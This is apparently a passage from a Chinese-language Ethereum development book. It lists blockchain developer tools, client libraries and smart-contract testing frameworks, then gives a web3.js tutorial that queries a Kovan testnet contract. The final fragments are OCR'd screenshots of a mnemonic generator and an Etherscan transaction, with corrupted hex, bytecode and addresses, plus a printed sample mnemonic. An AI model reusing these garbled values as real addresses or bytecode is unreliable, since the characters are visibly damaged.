  assembleTx <nonce> <to> <value> <data>        Assemble a transaction from its



  <gasLimit> <gasPrice> <v> <r> <s>        components



  parseTx <tx>                                Parse raw transaction



  keyGenerate [format] [icapdirect]        Generate new key



  keyConvert                                Convert a key to V3 keystore format



  keyDetails                                Print key details



  bip32Details <path>                        Print key details for a given path



  addressDetails <address>                Print details about an address



  unitConvert <value> <from> <to>        Convert between Ethereum units



Options:



  -p, --private          Private key as a hex string        [string]



  --password          Password for the private key        [string]



  --password-prompt  Prompt for the private key password        [boolean]



  -k, --keyfile          Encoded key file        [string]



  --show-private          Show private key details        [boolean]



  --mnemonic          Mnemonic for HD key derivation        [string]



  --version          Show version number        [boolean]



  --help                  Show help                        [boolean]









dapp.tools



网站：
https://dapp.tools/

 。

dapp.tools是一套完整的面向区块链开发者的工具包，它遵循了很多UNIX的开发哲学。具体的工具是：


Dapp


Dapp工具集可以让开发者快速上手以太坊开发。它用于创建去中心化应用，执行Solidity单元测试、调试和部署合约、发布到测试网络，等等。


Seth


Seth工具可以用来执行交易查询、区块数据查询、数据格式转换、执行远程调用和其他的日常编程任务。


Hevm


Hevm是Haskell编程语言的EVM实现，带有一个简单的命令行界面Solidity调试器。它可以被用来进行程序的测试和调试。


evmdis


evmdis是一个EVM虚拟机反向编译器。它可以对字节码执行静态分析，然后输出高级语言格式的代码，类似于逆向工程工具。



SputnikVM



SputnikVM（
https://github.com/etcdevteam/sputnikvm

 ）是一个独立的EVM插件，可用于各种类型的以太坊区块链实现。它由Rust语言编写，提供二进制格式、cargo crate、共享库、FFI集成、Protobuf和JSON接口等多种使用方式。它还有一个供测试使用的sputnikvm-dev二进制实现，这个实现模拟了大部分JSON-RPC API和区块挖矿。



类库





web3.js



web3.js是一个以太坊兼容的JavaScript API，通过JSON-RPC协议与以太坊节点进行通信，由以太坊基金会开发。

GitHub链接：
https://github.com/ethereum/web3.js

 。

npm安装包链接：
https://www.npmjs.com/package/web3

 。

web3.js API 0.2x.x的文档链接：
https://github.com/ethereum/wiki/wiki/JavaScript-API

 。

web3.js API 1.0.0-beta.xx的文档链接：
https://web3js.readthedocs.io/en/1.0/web3.html

 。



web3.py



web3.py是一个由Python实现的，用于针对以太坊区块链进行交互的类库。目前这个项目也归属于以太坊基金会。

GitHub链接：
https://github.com/ethereum/web3.py

 。

PyPi链接：
https://pypi.python.org/pypi/web3/4.0.0b9

 。

文档链接：
https://web3py.readthedocs.io

 。



EthereumJS



一组以太坊类库和工具。

GitHub链接：
https://github.com/ethereumjs

 。

网站链接：
https://ethereumjs.github.io

 。



web3j



web3j是Java和Android类库，用于跟以太坊节点和智能合约进行交互。

GitHub链接：
https://github.com/web3j/web3j

 。

网站链接：
https://web3j.io

 。

文档链接：
https://docs.web3j.io

 。



EtherJar



Etherjar是另一个使用Java的类库，同样也是用于完成对以太坊和智能合约的集成。它的设计目的是为服务器端基于Java 8以上版本的项目，提供封装底层细节的RPC抽象层，用于访问以太坊的数据结构和智能合约。

GitHub链接：
https://github.com/infinitape/etherjar

 。



Nethereum



Nethereum是由.Net实现的以太坊集成类库。

GitHub链接：
https://github.com/Nethereum/Nethereum

 。

网站链接：
http://nethereum.com

 。

文档链接：
https://nethereum.readthedocs.io/en/latest

 。



ethers.js



ethers.js库是一个精简的、完整的、全功能的，经过全面测试的以太坊类库，它采用了MIT许可协议，并得到了以太坊基金会的DevEx许可，进行扩展和维护。

GitHub链接：
https://github.com/ethers-io/ethers.js

 。

文档链接：
https://docs.ethers.io

 。



Emerald平台



Emerald平台提供了类库和UI组件，用于在以太坊之上构建去中心化应用。EmeraldJS和Emerald JS UI提供了一组模块化的React组件，用于构建JavaScrpt代码和网站。Emerald还提供了一组区块链相关的SVG图标。除了JavaScript类库之外，它还有一个Rust类库，用于操作私钥和交易签名。所有Emerald类库和组件都使用Apache 2许可发布。

GitHub链接：
https://github.com/etcdevteam/emerald-platform

 。

文档链接：
https://docs.etcdevteam.com

 。



智能合约的测试



常用于智能合约的测试框架如表D-1所示。

表D-1：用于智能合约的测试框架





Truffle


Truffle提供了使用JavaScript或者Solidity编写单元测试的功能。这些测试通过TestRPC/Ganache执行。


Embark


Embark与Mocha集成，运行JavaScript编写的单元测试。这些测试仍仅针对运行在TestRPC/Ganache环境中的合约。Embark框架自动部署智能合约，并且在代码发生修改后，会自动重新部署。它会跟踪已经部署合约的状态，然后在需要的时候重新部署，或者发起新的部署。Embark包含了一个测试库，用于在EMV中快速运行和测试合约，使用类似assert.equal的函数。embark test命令将执行任何test目录下的测试文件。


DApp


DApp使用原生Solidity代码（一个称之为ds-test的库）和使用Parity构建的，名为ethrun的Rust库来执行以太坊的字节码，并验证执行结果正确与否。ds-test库提供了验证函数，用于验证合约执行时输出到控制台的结果和对应的事件日志。

验证函数包括：






assert(bool condition)



assertEq(address a, address b)



assertEq(bytes32 a, bytes32 b)



assertEq(int a, int b)



assertEq(uint a, uint b)



assertEq0(bytes a, bytes b)



expectEventsExact(address target)







事件日志会在控制台记录更多信息，用于后期调试。






logs(bytes)



log_bytes32(bytes32)



log_named_bytes32(bytes32 key, bytes32 val)



log_named_address(bytes32 key, address val)



log_named_int(bytes32 key, int val)



log_named_uint(bytes32 key, uint val)



log_named_decimal_int(bytes32 key, int val, uint decimals)



log_named_decimal_uint(bytes32 key, uint val, uint decimals)








Populus


Populus使用Python和它自带的区块链模拟器对Solidity编写的智能合约进行测试。可以使用Python和pytest库编写单元测试。Populus支持编写专供测试目的的合约。这些合约的文件名应该满足Test*.sol约定，并保存在合约项目的tests目录（./tests/）中。



链上测试



尽管大多数测试不应该针对已经部署的合约，但是合约的行为模式也可以通过以太坊客户端进行检查。可以使用以下的命令来获得一个智能合约的当前状态。这些命令需要在geth终端输入，当然任何web3控制台也都支持这些命令。

获取哈希值为txhash的合约的地址：






eth.getTransactionReceipt(txhash);







获取部署在contractaddress地址中的合约代码（字节码），这个命令可以用于验证合约部署是否正确：






eth.getCode(contractaddress)







获取指定地址之上合约的完整日志，这个命令可以用于查看合约的执行历史。






eth.getPastLogs(options)







获取指定地址之上合约的存储内容，用position作为偏移量，可以用于显示合约中的数据存储状态。






eth.getStorageAt(address, position)









Ganache：本地测试链



Ganache是一个本地测试区块链，你可以使用它来部署合约，开发你的合约应用程序和运行测试。它可用作桌面应用程序（带图形用户界面）适用于Windows、macOS和Linux。它也可以作为命令行使用实用程序，该程序名为ganache-cli。更多详细信息和ganache桌面应用程序安装说明，请参阅
https://truffleframework.com/ganache

 。

ganache-cli代码可以在
https://github.com/trufflesuite/ganache-cli

 找到。

要安装命令行ganache-cli，请使用npm：






$ npm install -g ganache-cli







你可以使用ganache-cli启动本地区块链进行测试，如下所示：






$ ganache-cli \



  --networkId=3 \



  --port="8545" \



  --verbose \



  --gasLimit=8000000 \



  --gasPrice=4000000000;







关于此命令行的一些注意事项：

·检查--networkId和--port标志值是否与truffle.js的配置相匹配。

·检查--gasLimit标志值是否与最新的主网gas限制相匹配（8000000 gas），以避免遇到“out of gas”异常。请注意，400000000的--gasPrice代表4 gwei的gas价格。

·你可以选择输入--mnemonic标志值以恢复以前的HD钱包和相关的地址。




附录E　web3.js教程





概述



本教程基于web3@1.0.0-beta.29 web3.js，它旨在作为web3.js的介绍。

web3.js JavaScript库是包含以太坊生态系统特定功能的模块集合，以及实现通用JSON RPC规范的以太坊兼容JavaScript API。

要运行此脚本，你不需要运行自己的本地节点，因为它使用Infura服务（
https://infura.io/

 ）。



非堵塞式web3.js合约交互



检查npm包管理器的版本：






$ npm -v



5.6.0







如果之前没执行过，请先初始化npm：






$ npm init







安装基本依赖：






$ npm i command-line-args



$ npm i web3



$ npm i node-rest-client-promise







这将使用你的新依赖项更新package.json配置文件。



Node.js脚本执行



基本执行：






$ node code/web3js/web3-contract-basic-interaction.js







使用你自己的Infura令牌（在
https://infura.io/

 注册并将api-key存储在名为infura_token的本地文件中）：






$ node code/web3js/web3-contract-basic-interaction.js \



  --infuraFileToken /path/to/file/with/infura_token







或者：






$ node code/web3js/web3-contract-basic-interaction.js \



  /path/to/file/with/infura_token







这将使用你自己的令牌读取文件，并将其作为命令行参数传递给实际命令。



演示脚本



接下来，我们来分析演示脚本：web3-contract-basic-interaction。

我们使用Web3对象来获取一个web3 provider：






var web3 = new Web3(infura_host);







然后我们可以与web3交互并尝试一些基本功能。我们来看看协议版本：






web3.eth.getProtocolVersion().then(function(protocolVersion) {



      console.log(`Protocol Version: ${protocolVersion}`);



  })







我们来看看当前的gas价格：






web3.eth.getgasPrice().then(function(gasPrice) {



      console.log(`gas Price: ${gasPrice}`);



  })







当前区块链上最后一个被挖出的区块：






web3.eth.getBlockNumber().then(function(blockNumber) {



      console.log(`Block Number: ${blockNumber}`);



  })









合约交互



现在让我们尝试一些与合约的基本交互。对于这些示例，我们将在Kovan测试网络上使用WETH9_contract（
https://kovan.etherscan.io/address/0xd0a1e359811322d97991e03f863a0c30c2cf029c#code

 ）。

首先，初始化我们的合约地址：






var our_contract_address = "0xd0A1E359811322d97991E03f863a0C30C2cF029C";







我们可以看到合约的余额：






web3.eth.getBalance(our_contract_address).then(function(balance) {



      console.log(`Balance of ${our_contract_address}: ${balance}`);



})







和字节码：






web3.eth.getCode(our_contract_address).then(function(code) {



      console.log(code);



})







接下来，我们将准备我们的环境以便与Etherscan区块浏览器API进行交互。

让我们在Kovan链的Etherscan区块浏览器API中初始化我们的合约URL：






var etherscan_url =



  "https://kovan.etherscan.io/api?module=contract&action=getabi&



  address=${our_contract_address}"







让我们初始化一个REST客户端来与Etherscan API进行交互：






var client = require('node-rest-client-promise').Client();







获得client promise（客户许可）：






client.getPromise(etherscan_url)







一旦我们获得了有效的client promise，我们就可以从Etherscan API获得我们的合约ABI：






.then((client_promise) => {



  our_contract_abi = JSON.parse(client_promise.data.result);







现在我们可以创建代表合约的promise对象，留在以后使用：






return new Promise((resolve, reject) => {



      var our_contract = new web3.eth.Contract(our_contract_abi,



                                               our_contract_address);



      try {



        // If all goes well



        resolve(our_contract);



      } catch (ex) {



        // If something goes wrong



        reject(ex);



      }



    });



})







如果代表我们合约的promise成功返回，我们可以开始与它进行交互：






.then((our_contract) => {







查看合约地址：






console.log(`Our Contract address:



            ${our_contract._address}`);







或者：






console.log(`Our Contract address in another way:



            ${our_contract.options.address}`);







查询合约的ABI：






console.log("Our contract abi: " +



            JSON.stringify(our_contract.options.jsonInterface));







我们可以使用回调查看合约的总供应量：






our_contract.methods.totalSupply().call(function(err, totalSupply) {



    if (!err) {



        console.log(`Total Supply with a callback: ${totalSupply}`);



    } else {



        console.log(err);



    }



});







或者我们可以使用返回的promise而不是传入回调：






our_contract.methods.totalSupply().call().then(function(totalSupply){



    console.log(`Total Supply with a promise: ${totalSupply}`);



}).catch(function(err) {



    console.log(err);



});









使用Await进行异步操作



现在你已经看过基本教程，你可以尝试使用相同的交互异步等待构造。查看位于code/web3js中的web3-contract-basic-interaction-asyncawait.js脚本并将其与本教程进行比较，以了解它们之间的区别。Async-await更容易阅读，因为它使异步交互的行为更多，像一系列阻塞调用。
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BIP32 Root
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You can enter an existing BIP38 mnemonic, or generate a new random one. Typing your
own twelve words will probably not work how you expect, since the words require a
particular structure (the last word is a checksum)

For more info see the BIP39 spec

Generate | arandom 12 4 word mnemonic, or enter your own below.

army van defense carry jealous true garbage claim echo media make crunch|

5b56c417303faadfcba7e57400e120a0caB3ecsa4icoffba757 be63fbd77aBa1a3bedc6719.
6f57c39a88b76373733891bfaba16ed27a813ceed498804c0570
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Transaction Information

TxHash: 0x7bcc327ae5d369175b98¢0d59037eecd 1d44dfaeT54471d753d9f2db9439124b
TxReceipt Status: Success

Block Height: 3105256 (1 block confirmation)

TimeStamp: 1 min ago (Apr-25-2018 07:47:40 AM +UTC)

From: 0x2a966a87db5913¢1b22a59b0d8a11cc51c167a89

To: [Contract 0xb226270965b43373e98ffc6e2c7693¢1762cf40b Created] ©
Value: 0 Ether (0.00)

Gas Limit: 113558

Gas Used By Txn: 113558

Gas Price: 0.0000002 Ether (200 Gwei)

Actual Tx Cost/Fee: 0.0227116 Ether ($0.000000)

Nonce: 9

Input Data: =

0x6060604052341561000757600080fd5b60e58061001d60003960001300606060405260043610603f57600
0357c0100000000000000000000000000000000000000000000000000000000900463f fffffff1680632ela
7d4d146041575b005b3415604b57600080fd5b605f60048080359060200190919050506061565b005b67016
345785d8a00008111151515607757600080Td5b3373F fffffffffffffffffffffffffffffffffffffffl661 -

A0£07NANT1EANNNEA AL 1EANAEA AT TANOIND0TAEANNNETNIEAEAEAEATETEENLEETEANAONEIELENEEAR-1E /)

Convert To UTF8
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